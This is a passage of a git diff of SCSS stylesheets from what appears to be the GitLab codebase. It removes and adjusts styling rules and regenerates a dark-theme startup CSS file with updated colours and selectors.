- visibility: visible;
- }
- }
- }
-
- .menu-item {
- padding: 8px 4px;
-
- &:hover {
- background-color: $gray-darker;
- color: $gray-900;
- }
- }
-
- .icon-container {
- float: left;
- padding-left: 6px;
-
- .list-item-checkmark {
- visibility: hidden;
- }
- }
-
- .description {
- font-size: 14px;
-
- strong {
- display: block;
- font-weight: $gl-font-weight-bold;
- }
- }
-
- @include media-breakpoint-down(sm) {
- display: flex;
- align-items: flex-start;
-
- .dropdown-primary {
- flex: 1;
- }
-
- .dropdown-toggle {
- width: auto;
- }
-
- .dropdown-menu {
- width: 100%;
- max-width: inherit;
- min-width: inherit;
- }
- }
- }
- }
-}
-
.card {
.shared_runners_limit_under_quota {
color: $green-500;
@@ -269,28 +76,10 @@
}
}
-.user-settings-pipeline-quota {
- margin-top: $gl-padding;
-
- .pipeline-quota {
- border-top: 0;
- }
-}
-
table.pipeline-project-metrics tr td {
padding: $gl-padding;
}
-.mattermost-team-name {
- color: $gl-text-color-secondary;
-}
-
-.mattermost-info {
- display: block;
- color: $gl-text-color-secondary;
- margin-top: 10px;
-}
-
.explore-groups.landing {
.inner-content {
padding: 0;
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index 0437fa19752..1bc6dfbd84a 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -67,10 +67,6 @@
.emoji-block {
padding: $gl-padding-4 0;
-
- @include media-breakpoint-down(md) {
- padding: $gl-padding-8 0;
- }
}
}
@@ -271,11 +267,6 @@
.value {
line-height: 1;
-
- .assign-yourself {
- margin-top: 10px;
- display: block;
- }
}
.issuable-sidebar {
@@ -292,10 +283,6 @@
}
}
- .assign-yourself .btn-link {
- padding-left: 0;
- }
-
.light {
font-weight: $gl-font-weight-normal;
}
diff --git a/app/assets/stylesheets/pages/issues.scss b/app/assets/stylesheets/pages/issues.scss
index 97c8182bab8..461d6a29b3a 100644
--- a/app/assets/stylesheets/pages/issues.scss
+++ b/app/assets/stylesheets/pages/issues.scss
@@ -130,10 +130,6 @@ ul.related-merge-requests > li {
&:not(:only-child) {
margin-right: $gl-padding-8;
}
-
- @include media-breakpoint-down(md) {
- margin-top: $gl-padding-8;
- }
}
}
@@ -154,10 +150,6 @@ ul.related-merge-requests > li {
.btn-group:not(.hidden) {
display: flex;
-
- @include media-breakpoint-down(md) {
- margin-top: $gl-padding-8;
- }
}
.js-create-merge-request {
diff --git a/app/assets/stylesheets/pages/login.scss b/app/assets/stylesheets/pages/login.scss
index 9d437531e6d..b537a46a6f2 100644
--- a/app/assets/stylesheets/pages/login.scss
+++ b/app/assets/stylesheets/pages/login.scss
@@ -106,6 +106,10 @@
width: 100%;
}
}
+
+ .omniauth-btn {
+ width: 100%;
+ }
}
.new-session-tabs {
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index 36d39c1a613..1abaff40bc9 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -43,8 +43,6 @@ $tabs-holder-z-index: 250;
}
.mr-widget-section {
- border-radius: $border-radius-default $border-radius-default 0 0;
-
.code-text {
flex: 1;
}
@@ -88,7 +86,6 @@ $tabs-holder-z-index: 250;
.mr-section-container {
border: 1px solid $border-color;
border-radius: $border-radius-default;
- border-top: 0;
background: var(--white, $white);
}
@@ -110,11 +107,15 @@ $tabs-holder-z-index: 250;
border-radius: $border-radius-default;
}
- .mr-widget-section,
+ .mr-widget-section:not(:first-child),
.mr-widget-footer {
border-top: solid 1px $border-color;
}
+ .mr-widget-alert-container + .mr-widget-section {
+ border-top: 0;
+ }
+
.mr-fast-forward-message {
padding-left: $gl-padding-50;
padding-bottom: $gl-padding;
@@ -525,9 +526,7 @@ $tabs-holder-z-index: 250;
.mr-source-target {
flex-wrap: wrap;
- border-radius: $border-radius-default;
padding: $gl-padding;
- border: 1px solid $border-color;
background: var(--white, $white);
min-height: $mr-widget-min-height;
@@ -1027,3 +1026,13 @@ $tabs-holder-z-index: 250;
vertical-align: middle;
}
}
+
+.mr-widget-alert-container {
+ $radius: $border-radius-default - 1px;
+
+ border-radius: $radius $radius 0 0;
+
+ .gl-alert:not(:last-child) {
+ margin-bottom: 1px;
+ }
+}
diff --git a/app/assets/stylesheets/pages/profile.scss b/app/assets/stylesheets/pages/profile.scss
index 6a2fa2ee7a1..b52a3c445b5 100644
--- a/app/assets/stylesheets/pages/profile.scss
+++ b/app/assets/stylesheets/pages/profile.scss
@@ -5,6 +5,12 @@
}
.avatar-image {
+ margin-bottom: $grid-size;
+
+ .avatar {
+ float: none;
+ }
+
@include media-breakpoint-up(sm) {
float: left;
margin-bottom: 0;
diff --git a/app/assets/stylesheets/pages/projects.scss b/app/assets/stylesheets/pages/projects.scss
index dfd64d0773c..c330e0709a6 100644
--- a/app/assets/stylesheets/pages/projects.scss
+++ b/app/assets/stylesheets/pages/projects.scss
@@ -79,91 +79,10 @@
}
}
-.project-home-panel {
- .home-panel-avatar {
- flex-basis: $home-panel-title-row-height;
- }
-
- .home-panel-title {
- .icon {
- vertical-align: -1px;
- }
-
- .home-panel-topic-list {
- .icon {
- top: 3px;
- }
- }
- }
-
- .home-panel-title-row {
- @include media-breakpoint-down(sm) {
- .home-panel-avatar {
- width: $home-panel-avatar-mobile-size;
- height: $home-panel-avatar-mobile-size;
- flex-basis: $home-panel-avatar-mobile-size;
-
- .avatar {
- font-size: 20px;
- line-height: 46px;
- }
- }
-
- .home-panel-title {
- margin-top: 4px;
- margin-bottom: 2px;
- font-size: $gl-font-size;
- line-height: $gl-font-size-large;
- }
- }
- }
-
- .home-panel-description {
- @include media-breakpoint-up(md) {
- font-size: $gl-font-size-large;
- }
- }
-}
-
.nav > .project-buttons {
margin-top: 0;
}
-.project-repo-buttons {
- .btn {
- svg {
- fill: $gray-500;
- }
- }
-
- .download-button {
- @include media-breakpoint-down(md) {
- margin-left: 0;
- }
- }
-
- .project-clone-holder {
- display: inline-block;
- margin: $gl-padding 0 0;
-
- input {
- height: $input-height;
- }
- }
-
- .clone-options-dropdown {
- min-width: 240px;
-
- .dropdown-menu-inner-content {
- min-width: 320px;
- }
- }
-
- .mobile-git-clone {
- margin-top: $gl-padding-8;
- }
-}
-
.save-project-loader {
margin-top: 50px;
margin-bottom: 50px;
@@ -855,13 +774,6 @@ pre.light-well {
}
}
-.project-tip-command {
- > .input-group-prepend:first-child,
- > .input-group-append:first-child {
- width: auto;
- }
-}
-
.protected-branches-list,
.protected-tags-list {
margin-bottom: 30px;
@@ -887,8 +799,7 @@ pre.light-well {
}
}
-.project-refs-form .dropdown-menu,
-.dropdown-menu-projects {
+.project-refs-form .dropdown-menu {
width: 300px;
@include media-breakpoint-up(sm) {
diff --git a/app/assets/stylesheets/pages/search.scss b/app/assets/stylesheets/pages/search.scss
index cd99c667001..5fbb2e6443f 100644
--- a/app/assets/stylesheets/pages/search.scss
+++ b/app/assets/stylesheets/pages/search.scss
@@ -45,7 +45,7 @@ input[type='checkbox']:hover {
margin: 0 8px;
form {
- @extend .form-control;
+ display: block;
margin: 0;
padding: 4px;
width: $search-input-width;
@@ -139,7 +139,6 @@ input[type='checkbox']:hover {
&.search-active {
form {
- @extend .form-control:focus;
border-color: $blue-300;
box-shadow: none;
@@ -297,6 +296,16 @@ input[type='checkbox']:hover {
@include str-truncated(10em);
}
+.global-search-dropdown-menu {
+ width: 100% !important;
+ max-width: 400px;
+
+ @include media-breakpoint-up(md) {
+ // This is larger than the container so width: 100% doesn't work.
+ width: 400px !important;
+ }
+}
+
// Disable webkit input icons, link to solution: https://stackoverflow.com/questions/9421551/how-do-i-remove-all-default-webkit-search-field-styling
/* stylelint-disable property-no-vendor-prefix */
input[type='search']::-webkit-search-decoration,
diff --git a/app/assets/stylesheets/pages/tree.scss b/app/assets/stylesheets/pages/tree.scss
index a371aa37e07..c6198315606 100644
--- a/app/assets/stylesheets/pages/tree.scss
+++ b/app/assets/stylesheets/pages/tree.scss
@@ -10,6 +10,10 @@
color: $gl-text-color-secondary;
}
+ .tree-ref-holder {
+ margin-right: 15px;
+ }
+
@include media-breakpoint-up(sm) {
display: flex;
@@ -28,7 +32,6 @@
.tree-ref-holder {
float: left;
- margin-right: 15px;
}
.tree-ref-target-holder {
@@ -44,8 +47,11 @@
}
@include media-breakpoint-down(xs) {
+ .tree-ref-container {
+ justify-content: space-between;
+ }
+
.repo-breadcrumb {
- margin-top: 10px;
position: relative;
.dropdown-menu {
diff --git a/app/assets/stylesheets/performance_bar.scss b/app/assets/stylesheets/performance_bar.scss
index bcc3c35e00e..f2874e67796 100644
--- a/app/assets/stylesheets/performance_bar.scss
+++ b/app/assets/stylesheets/performance_bar.scss
@@ -11,47 +11,40 @@
height: $performance-bar-height;
background: $black;
line-height: $performance-bar-height;
- color: $gray-300;
+ color: $gray-100;
select {
- color: $white;
width: 200px;
}
input {
- color: $gray-300;
width: $input-short-width - 60px;
}
+ select,
+ input {
+ color: inherit;
+ background-color: inherit;
+ }
+
+ option {
+ color: initial;
+ }
+
&.disabled {
display: none;
}
&.production {
background-color: $perf-bar-production;
-
- select,
- input {
- background: $perf-bar-production;
- }
}
&.staging {
background-color: $perf-bar-staging;
-
- select,
- input {
- background: $perf-bar-staging;
- }
}
&.development {
background-color: $perf-bar-development;
-
- select,
- input {
- background: $perf-bar-development;
- }
}
// UI Elements
@@ -61,7 +54,6 @@
padding: 4px 6px;
font-family: Consolas, 'Liberation Mono', Courier, monospace;
line-height: 1;
- color: $gray-100;
border-radius: 3px;
box-shadow: 0 1px 0 $perf-bar-bucket-box-shadow-from,
inset 0 1px 2px $perf-bar-bucket-box-shadow-to;
@@ -135,3 +127,7 @@
#modal-peek-pg-queries-content {
color: $black;
}
+
+html.with-performance-bar .nav-sidebar {
+ top: $header-height + $performance-bar-height;
+}
diff --git a/app/assets/stylesheets/print.scss b/app/assets/stylesheets/print.scss
index 1d0333d1e2f..ab86a2f69dd 100644
--- a/app/assets/stylesheets/print.scss
+++ b/app/assets/stylesheets/print.scss
@@ -65,6 +65,6 @@ a[href]::after {
margin-top: 0;
}
-.content-wrapper {
+.content-wrapper-margin {
margin-top: 0;
}
diff --git a/app/assets/stylesheets/snippets.scss b/app/assets/stylesheets/snippets.scss
index e5d5ed0d48f..ad040f65f3c 100644
--- a/app/assets/stylesheets/snippets.scss
+++ b/app/assets/stylesheets/snippets.scss
@@ -45,7 +45,6 @@
.blob-content {
pre {
- height: 100%;
padding: 10px;
border: 0;
border-radius: 0;
diff --git a/app/assets/stylesheets/startup/startup-dark.scss b/app/assets/stylesheets/startup/startup-dark.scss
index 9f7a8860e4d..c6f0b3a2ba7 100644
--- a/app/assets/stylesheets/startup/startup-dark.scss
+++ b/app/assets/stylesheets/startup/startup-dark.scss
@@ -1,4 +1,22 @@
+// DO NOT EDIT! This is auto-generated from "yarn run generate:startup_css"
+// Please see the feedback issue for more details and help:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/331812
@charset "UTF-8";
+body.gl-dark {
+ --gray-50: #303030;
+ --gray-100: #404040;
+ --gray-950: #fff;
+ --green-100: #0d532a;
+ --green-400: #108548;
+ --green-700: #91d4a8;
+ --blue-400: #1f75cb;
+ --orange-400: #ab6100;
+ --gl-text-color: #fafafa;
+ --border-color: #4f4f4f;
+}
+:root {
+ --white: #333;
+}
*,
*::before,
*::after {
@@ -8,68 +26,45 @@ html {
font-family: sans-serif;
line-height: 1.15;
}
- header, nav, section {
+aside,
+header {
display: block;
}
body {
margin: 0;
- font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
+ "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif,
+ "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #fafafa;
text-align: left;
- background-color: #2e2e2e;
+ background-color: #1f1f1f;
}
-h1, h2, h3 {
+h1 {
margin-top: 0;
margin-bottom: 0.25rem;
}
-p {
- margin-top: 0;
- margin-bottom: 1rem;
-}
-
ul {
margin-top: 0;
margin-bottom: 1rem;
}
-
ul ul {
margin-bottom: 0;
}
-
strong {
font-weight: bolder;
}
-sub {
- position: relative;
- font-size: 75%;
- line-height: 0;
- vertical-align: baseline;
-}
-sub {
- bottom: -.25em;
-}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
}
-a:not([href]) {
+a:not([href]):not([class]) {
color: inherit;
text-decoration: none;
}
-pre,
-code {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- font-size: 1em;
-}
-pre {
- margin-top: 0;
- margin-bottom: 1rem;
- overflow: auto;
-}
img {
vertical-align: middle;
border-style: none;
@@ -78,18 +73,11 @@ svg {
overflow: hidden;
vertical-align: middle;
}
-table {
- border-collapse: collapse;
-}
-th {
- text-align: inherit;
-}
button {
border-radius: 0;
}
input,
-button,
-textarea {
+button {
margin: 0;
font-family: inherit;
font-size: inherit;
@@ -102,103 +90,34 @@ input {
button {
text-transform: none;
}
+[role="button"] {
+ cursor: pointer;
+}
button:not(:disabled),
-[type="button"]:not(:disabled),
-[type="reset"]:not(:disabled) {
+[type="button"]:not(:disabled) {
cursor: pointer;
}
button::-moz-focus-inner,
-[type="button"]::-moz-focus-inner,
-[type="reset"]::-moz-focus-inner {
+[type="button"]::-moz-focus-inner {
padding: 0;
border-style: none;
}
-textarea {
- overflow: auto;
- resize: vertical;
-}
[type="search"] {
outline-offset: -2px;
}
-summary {
- display: list-item;
- cursor: pointer;
-}
-template {
- display: none;
-}
-[hidden] {
- display: none !important;
-}
-h1, h2, h3,
-.h1, .h2, .h3 {
+h1 {
margin-bottom: 0.25rem;
font-weight: 600;
line-height: 1.2;
color: #fafafa;
}
-h1, .h1 {
+h1 {
font-size: 2.1875rem;
}
-h2, .h2 {
- font-size: 1.75rem;
-}
-h3, .h3 {
- font-size: 1.53125rem;
-}
.list-unstyled {
padding-left: 0;
list-style: none;
}
-code {
- font-size: 90%;
- color: #fff;
- word-wrap: break-word;
-}
-a > code {
- color: inherit;
-}
-pre {
- display: block;
- font-size: 90%;
- color: #fafafa;
-}
-pre code {
- font-size: inherit;
- color: inherit;
- word-break: normal;
-}
-.container {
- width: 100%;
- padding-right: 15px;
- padding-left: 15px;
- margin-right: auto;
- margin-left: auto;
-}
-
-@media (min-width: 576px) {
- .container {
- max-width: 540px;
- }
-}
-
-@media (min-width: 768px) {
- .container {
- max-width: 720px;
- }
-}
-
-@media (min-width: 992px) {
- .container {
- max-width: 960px;
- }
-}
-
-@media (min-width: 1200px) {
- .container {
- max-width: 1140px;
- }
-}
.container-fluid {
width: 100%;
padding-right: 15px;
@@ -206,48 +125,7 @@ pre code {
margin-right: auto;
margin-left: auto;
}
-
-@media (min-width: 576px) {
- .container {
- max-width: 540px;
- }
-}
-
-@media (min-width: 768px) {
- .container {
- max-width: 720px;
- }
-}
-
-@media (min-width: 992px) {
- .container {
- max-width: 960px;
- }
-}
-
-@media (min-width: 1200px) {
- .container {
- max-width: 1140px;
- }
-}
-.row {
- display: flex;
- flex-wrap: wrap;
- margin-right: -15px;
- margin-left: -15px;
-}
-.table {
- width: 100%;
- margin-bottom: 0.5rem;
- color: #fafafa;
-}
-.table th,
-.table td {
- padding: 0.75rem;
- vertical-align: top;
- border-top: 1px solid #4f4f4f;
-}
- .search form {
+.form-control {
display: block;
width: 100%;
height: 34px;
@@ -256,24 +134,27 @@ pre code {
font-weight: 400;
line-height: 1.5;
color: #fafafa;
- background-color: #4f4f4f;
+ background-color: #333;
background-clip: padding-box;
- border: 1px solid #4f4f4f;
+ border: 1px solid #404040;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
- .search form:-moz-focusring {
+.form-control:-moz-focusring {
color: transparent;
text-shadow: 0 0 0 #fafafa;
}
- .search form::placeholder {
- color: #ccc;
+.form-control::-ms-input-placeholder {
+ color: #bfbfbf;
+ opacity: 1;
+}
+.form-control::placeholder {
+ color: #bfbfbf;
opacity: 1;
}
- .search form:disabled {
- background-color: #2e2e2e;
+.form-control:disabled {
+ background-color: #303030;
opacity: 1;
}
.form-inline {
@@ -281,9 +162,8 @@ pre code {
flex-flow: row wrap;
align-items: center;
}
-
@media (min-width: 576px) {
- .form-inline .search form, .search .form-inline form {
+ .form-inline .form-control {
display: inline-block;
width: auto;
vertical-align: middle;
@@ -295,7 +175,7 @@ pre code {
color: #fafafa;
text-align: center;
vertical-align: middle;
- cursor: pointer;
+ -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -304,26 +184,24 @@ pre code {
line-height: 20px;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
-.btn.disabled, .btn:disabled {
+.btn:disabled {
opacity: 0.65;
}
-a.btn.disabled {
- pointer-events: none;
+.btn:not(:disabled):not(.disabled) {
+ cursor: pointer;
}
.collapse:not(.show) {
display: none;
}
-
.dropdown {
position: relative;
}
- .dropdown-menu-toggle {
+.dropdown-menu-toggle {
white-space: nowrap;
}
- .dropdown-menu-toggle::after {
+.dropdown-menu-toggle::after {
display: inline-block;
margin-left: 0.255em;
vertical-align: 0.255em;
@@ -333,7 +211,7 @@ a.btn.disabled {
border-bottom: 0;
border-left: 0.3em solid transparent;
}
- .dropdown-menu-toggle:empty::after {
+.dropdown-menu-toggle:empty::after {
margin-left: 0;
}
.dropdown-menu {
@@ -355,19 +233,6 @@ a.btn.disabled {
border: 1px solid rgba(255, 255, 255, 0.15);
border-radius: 0.25rem;
}
-.dropdown-menu-right {
- right: 0;
- left: auto;
-}
- .divider {
- height: 0;
- margin: 4px 0;
- overflow: hidden;
- border-top: 1px solid #4f4f4f;
-}
-.dropdown-menu.show {
- display: block;
-}
.nav {
display: flex;
flex-wrap: wrap;
@@ -383,7 +248,6 @@ a.btn.disabled {
justify-content: space-between;
padding: 0.25rem 0.5rem;
}
-.navbar .container,
.navbar .container-fluid {
display: flex;
flex-wrap: wrap;
@@ -414,15 +278,12 @@ a.btn.disabled {
border: 1px solid transparent;
border-radius: 0.25rem;
}
-
@media (max-width: 575.98px) {
- .navbar-expand-sm > .container,
.navbar-expand-sm > .container-fluid {
padding-right: 0;
padding-left: 0;
}
}
-
@media (min-width: 576px) {
.navbar-expand-sm {
flex-flow: row nowrap;
@@ -434,7 +295,6 @@ a.btn.disabled {
.navbar-expand-sm .navbar-nav .dropdown-menu {
position: absolute;
}
- .navbar-expand-sm > .container,
.navbar-expand-sm > .container-fluid {
flex-wrap: nowrap;
}
@@ -446,17 +306,6 @@ a.btn.disabled {
display: none;
}
}
-.card {
- position: relative;
- display: flex;
- flex-direction: column;
- min-width: 0;
- word-wrap: break-word;
- background-color: #333;
- background-clip: border-box;
- border: 1px solid #4f4f4f;
- border-radius: 0.25rem;
-}
.badge {
display: inline-block;
padding: 0.25em 0.4em;
@@ -468,7 +317,6 @@ a.btn.disabled {
vertical-align: baseline;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
.badge:empty {
@@ -483,66 +331,8 @@ a.btn.disabled {
padding-left: 0.6em;
border-radius: 10rem;
}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.close {
- float: right;
- font-size: 1.5rem;
- font-weight: 600;
- line-height: 1;
- color: #fff;
- text-shadow: 0 1px 0 #333;
- opacity: .5;
-}
-button.close {
- padding: 0;
- background-color: transparent;
- border: 0;
- appearance: none;
-}
-a.close.disabled {
- pointer-events: none;
-}
-.modal-dialog {
- position: relative;
- width: auto;
- margin: 0.5rem;
- pointer-events: none;
-}
-
-@media (min-width: 576px) {
- .modal-dialog {
- max-width: 500px;
- margin: 1.75rem auto;
- }
-}
-.bg-transparent {
- background-color: transparent !important;
-}
-.border {
- border: 1px solid #4f4f4f !important;
-}
-.border-top {
- border-top: 1px solid #4f4f4f !important;
-}
-.border-right {
- border-right: 1px solid #4f4f4f !important;
-}
-.border-bottom {
- border-bottom: 1px solid #4f4f4f !important;
-}
-.border-left {
- border-left: 1px solid #4f4f4f !important;
-}
-.rounded {
- border-radius: 0.25rem !important;
-}
-.clearfix::after {
- display: block;
- clear: both;
- content: "";
+.rounded-circle {
+ border-radius: 50% !important;
}
.d-none {
display: none !important;
@@ -553,19 +343,19 @@ a.close.disabled {
.d-block {
display: block !important;
}
-
@media (min-width: 576px) {
.d-sm-none {
display: none !important;
}
+ .d-sm-inline-block {
+ display: inline-block !important;
+ }
}
-
@media (min-width: 768px) {
.d-md-block {
display: block !important;
}
}
-
@media (min-width: 992px) {
.d-lg-none {
display: none !important;
@@ -574,18 +364,11 @@ a.close.disabled {
display: block !important;
}
}
-
@media (min-width: 1200px) {
.d-xl-block {
display: block !important;
}
}
-.flex-wrap {
- flex-wrap: wrap !important;
-}
-.float-right {
- float: right !important;
-}
.sr-only {
position: absolute;
width: 1px;
@@ -600,72 +383,57 @@ a.close.disabled {
.m-auto {
margin: auto !important;
}
-.text-nowrap {
- white-space: nowrap !important;
+.gl-button {
+ display: inline-flex;
}
-.visible {
- visibility: visible !important;
+.gl-button:not(.btn-link):active {
+ text-decoration: none;
}
- .search form.focus {
+.gl-button.gl-button {
+ border-width: 0;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ background-color: transparent;
+ line-height: 1rem;
color: #fafafa;
- background-color: #4f4f4f;
- border-color: #80bdff;
- outline: 0;
- box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
-}
-.gl-badge {
- display: inline-flex;
+ fill: currentColor;
+ box-shadow: inset 0 0 0 1px #525252;
+ justify-content: center;
align-items: center;
- font-size: 0.75rem;
- font-weight: 400;
- line-height: 1rem;
- padding-top: 0.25rem;
- padding-bottom: 0.25rem;
- padding-left: 0.5rem;
- padding-right: 0.5rem;
+ font-size: 0.875rem;
+ border-radius: 0.25rem;
+}
+.gl-button.gl-button.btn-default {
+ background-color: #333;
+}
+.gl-button.gl-button.btn-default:active,
+.gl-button.gl-button.btn-default.active {
+ box-shadow: inset 0 0 0 2px #bfbfbf, 0 0 0 1px rgba(51, 51, 51, 0.4),
+ 0 0 0 4px rgba(66, 143, 220, 0.48);
outline: none;
+ background-color: #404040;
}
-body, .search form,
+body,
+.form-control,
.search form {
font-size: 0.875rem;
}
button,
-html [type='button'],
-[type='reset'],
-[role='button'] {
+html [type="button"],
+[role="button"] {
cursor: pointer;
}
-h1,
-.h1,
-h2,
-.h2,
-h3,
-.h3 {
+h1 {
margin-top: 20px;
margin-bottom: 10px;
}
-input[type='file'] {
- line-height: 1;
-}
-
strong {
font-weight: bold;
}
a {
- color: #418cd8;
-}
-code {
- padding: 2px 4px;
- color: #fff;
- background-color: #2e2e2e;
- border-radius: 4px;
-}
-.code > code {
- background-color: inherit;
- padding: unset;
-}
-table {
- border-spacing: 0;
+ color: #63a6e9;
}
.hidden {
display: none !important;
@@ -674,7 +442,7 @@ table {
.hide {
display: none;
}
- .dropdown-menu-toggle::after {
+.dropdown-menu-toggle::after {
display: none;
}
.badge:not(.gl-badge) {
@@ -684,13 +452,16 @@ table {
font-weight: 400;
display: inline-block;
}
-pre code {
- white-space: pre-wrap;
+.divider {
+ height: 0;
+ margin: 4px 0;
+ overflow: hidden;
+ border-top: 1px solid #404040;
}
.toggle-sidebar-button .collapse-text,
.toggle-sidebar-button .icon-chevron-double-lg-left,
.toggle-sidebar-button .icon-chevron-double-lg-right {
- color: #bababa;
+ color: #999;
}
svg {
vertical-align: baseline;
@@ -701,42 +472,23 @@ html {
body {
text-decoration-skip: ink;
}
-.content-wrapper {
- margin-top: 40px;
- padding-bottom: 100px;
-}
-.container {
- padding-top: 0;
- z-index: 5;
-}
-.container .content {
- margin: 0;
-}
-
-@media (max-width: 575.98px) {
- .container .content {
- margin-top: 20px;
- }
-}
-
-@media (max-width: 575.98px) {
- .container .container .title {
- padding-left: 15px !important;
- }
-}
.btn {
border-radius: 4px;
font-size: 0.875rem;
font-weight: 400;
padding: 6px 10px;
background-color: #333;
- border-color: #4f4f4f;
+ border-color: #404040;
color: #fafafa;
color: #fafafa;
white-space: nowrap;
}
-.btn:active, .btn.active {
- box-shadow: rgba(0, 0, 0, 0.16);
+.btn:active {
+ background-color: #303030;
+ box-shadow: none;
+}
+.btn:active,
+.btn.active {
background-color: #444;
border-color: #fafafa;
color: #fafafa;
@@ -745,112 +497,44 @@ body {
height: 15px;
width: 15px;
}
-.btn svg:not(:last-child),
-.btn .fa:not(:last-child) {
+.btn svg:not(:last-child) {
margin-right: 5px;
}
.badge.badge-pill:not(.gl-badge) {
font-weight: 400;
- background-color: rgba(0, 0, 0, 0.07);
- color: #dfdfdf;
+ background-color: rgba(255, 255, 255, 0.07);
+ color: #dbdbdb;
vertical-align: baseline;
}
-.hint {
- font-style: italic;
- color: #707070;
-}
-.bold {
- font-weight: 600;
-}
-pre.wrap {
- word-break: break-word;
- white-space: pre-wrap;
-}
-table a code {
- position: relative;
- top: -2px;
- margin-right: 3px;
-}
-.loading {
- margin: 20px auto;
- height: 40px;
- color: #dfdfdf;
- font-size: 32px;
- text-align: center;
-}
-.highlight {
- text-shadow: none;
-}
-.chart {
- overflow: hidden;
- height: 220px;
-}
-.break-word {
- word-wrap: break-word;
-}
-.center {
- text-align: center;
-}
-.block {
- display: block;
-}
-.flex {
- display: flex;
-}
-.flex-grow {
- flex-grow: 1;
+.gl-font-sm {
+ font-size: 12px;
}
.dropdown {
position: relative;
}
-.show.dropdown .dropdown-menu {
- transform: translateY(0);
- display: block;
- min-height: 40px;
- max-height: 312px;
- overflow-y: auto;
-}
-
-@media (max-width: 575.98px) {
- .show.dropdown .dropdown-menu {
- width: 100%;
- }
-}
- .show.dropdown .dropdown-menu-toggle,
-.show.dropdown .dropdown-menu-toggle {
- border-color: #c4c4c4;
-}
-.show.dropdown [data-toggle='dropdown'] {
- outline: 0;
-}
.search-input-container .dropdown-menu {
margin-top: 11px;
}
- .dropdown-menu-toggle {
+.dropdown-menu-toggle {
padding: 6px 8px 6px 10px;
background-color: #333;
color: #fafafa;
font-size: 14px;
text-align: left;
- border: 1px solid #4f4f4f;
+ border: 1px solid #404040;
border-radius: 0.25rem;
white-space: nowrap;
}
- .no-outline.dropdown-menu-toggle {
+.no-outline.dropdown-menu-toggle {
outline: 0;
}
- .dropdown-menu-toggle .fa {
- color: #c4c4c4;
-}
-.dropdown-menu-toggle {
+.dropdown-menu-toggle.dropdown-menu-toggle {
+ justify-content: flex-start;
+ overflow: hidden;
padding-right: 25px;
position: relative;
- width: 160px;
text-overflow: ellipsis;
- overflow: hidden;
-}
-.dropdown-menu-toggle .fa {
- position: absolute;
+ width: 160px;
}
.dropdown-menu {
display: none;
@@ -866,7 +550,7 @@ table a code {
font-weight: 400;
padding: 8px 0;
background-color: #333;
- border: 1px solid #4f4f4f;
+ border: 1px solid #404040;
border-radius: 0.25rem;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
@@ -897,156 +581,56 @@ table a code {
text-align: left;
width: 100%;
}
+.dropdown-menu li > a:active,
+.dropdown-menu li button:active {
+ background-color: #4f4f4f;
+ color: #fafafa;
+ outline: 0;
+ text-decoration: none;
+}
.dropdown-menu .divider {
height: 1px;
margin: 0.25rem 0;
padding: 0;
- background-color: #4f4f4f;
+ background-color: #404040;
}
.dropdown-menu .badge.badge-pill + span:not(.badge):not(.badge-pill) {
margin-right: 40px;
}
-.dropdown-select {
- width: 300px;
-}
-
-@media (max-width: 767.98px) {
- .dropdown-select {
- width: 100%;
- }
-}
-.dropdown-content {
- max-height: 252px;
- overflow-y: auto;
-}
-.dropdown-loading {
- position: absolute;
- top: 0;
- right: 0;
- bottom: 0;
- left: 0;
- display: none;
- z-index: 9;
- background-color: rgba(51, 51, 51, 0.6);
- font-size: 28px;
-}
-.dropdown-loading .fa {
- position: absolute;
- top: 50%;
- left: 50%;
- margin-top: -14px;
- margin-left: -14px;
-}
-
@media (max-width: 575.98px) {
.navbar-gitlab li.dropdown {
position: static;
}
+ .navbar-gitlab li.dropdown.user-counter {
+ margin-left: 8px !important;
+ }
+ .navbar-gitlab li.dropdown.user-counter > a {
+ padding: 0 4px !important;
+ }
header.navbar-gitlab .dropdown .dropdown-menu {
width: 100%;
min-width: 100%;
}
}
-
@media (max-width: 767.98px) {
.dropdown-menu-toggle {
width: 100%;
}
}
-textarea {
- resize: vertical;
-}
input {
border-radius: 0.25rem;
color: #fafafa;
- background-color: #4f4f4f;
+ background-color: #333;
}
- .search form {
+.form-control {
border-radius: 4px;
padding: 6px 10px;
}
- .search form::placeholder {
- color: #a7a7a7;
-}
-body.ui-indigo .navbar-gitlab {
- background-color: #292961;
-}
-body.ui-indigo .navbar-gitlab .navbar-collapse {
- color: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler {
- border-left: 1px solid #6868b9;
-}
-body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler svg {
- fill: #d1d1f0;
-}
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > a,
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > button, body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > a,
-body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > button,
